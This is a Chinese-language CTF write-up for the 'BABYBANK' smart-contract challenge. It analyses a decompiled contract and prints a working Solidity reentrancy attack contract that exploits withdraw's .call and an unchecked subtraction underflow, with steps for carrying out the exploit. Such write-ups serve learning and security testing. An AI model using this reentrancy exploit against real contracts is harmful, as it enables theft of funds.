BABYBANK
我们通过合约地址进行逆向得到合约的逆向代码(https://ethervm.io/decompile/)
由代码分析我们得出代码中的关键函数分别为:guess、profit、transfer、withdraw。 且合约中存在两个关键变量:balance(余额)以及level(一种标记)。
在审计合约之后我们发现 profit函数:每个账户只允许调用一次,并发送钱包1 token;
guess函数需要level值为1且调用后余额+1、leve+1 ;
而transfer函数满足必须balance与level同时为2才能调用,且调用后收款方余额变为2,且转账方余额变为0 ;
withdraw函数表示取款,且合约会将以太币转给msg.sender。
然而漏洞点就在withdraw中。熟悉区块链的人都知道此处使用.call方法进行转账,而这种方法会调用收款方的fallback函数,从而引发重入攻击。
于是我们利用此来进行攻击。我们还看到withdraw中还存在如下方法:
当存在减法且没有判断时,我们就可以认定这里存在溢出,然而要满足溢出条件需要storage[temp2]<temp1。可是前面代码加了判断,所以我们需要在中间调用.call时进行对余额的操作从而让其减小。 我们可以在合约调用如下句子的时候调用收款人的fallback函数从而再次执行withdraw,加入合约余额为2,转账金额设置为2。而在中间进行调用可以很好的绕过余额的检测,从而达成2-2-2的情况,从而溢出。
贴上攻击合约
contract hack{
babybank a;
uint count = 0;
event log(uint256);
constructor(address b)public{
a = babybank(b);
}
function () public payable {
if(count==2){
log(3);
}else{
count = count + 1;
a.withdraw(2);
log(1);
}
}
function getMoney() public payable{}
function hacker() public{
a.withdraw(2);
log(2);
}
function payforflag1(string md5ofteamtoken,string b64email) public{
a.payforflag(md5ofteamtoken,b64email);
}
function kill() {
selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
}
}
- 1 由于合约本身没有以太币,所以我们先生成合约A调用自杀函数给题目转钱。
- 2 进行转账操作,我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。
- 3 当C有了2token便可以进行攻击,调用hacker函数即可。
PS:由于合约需要前四位为“b1b1”的账户,所以我们需要https://vanity-eth.tk/ 来生成相应的账户B。
调动成功后在邮箱收到flag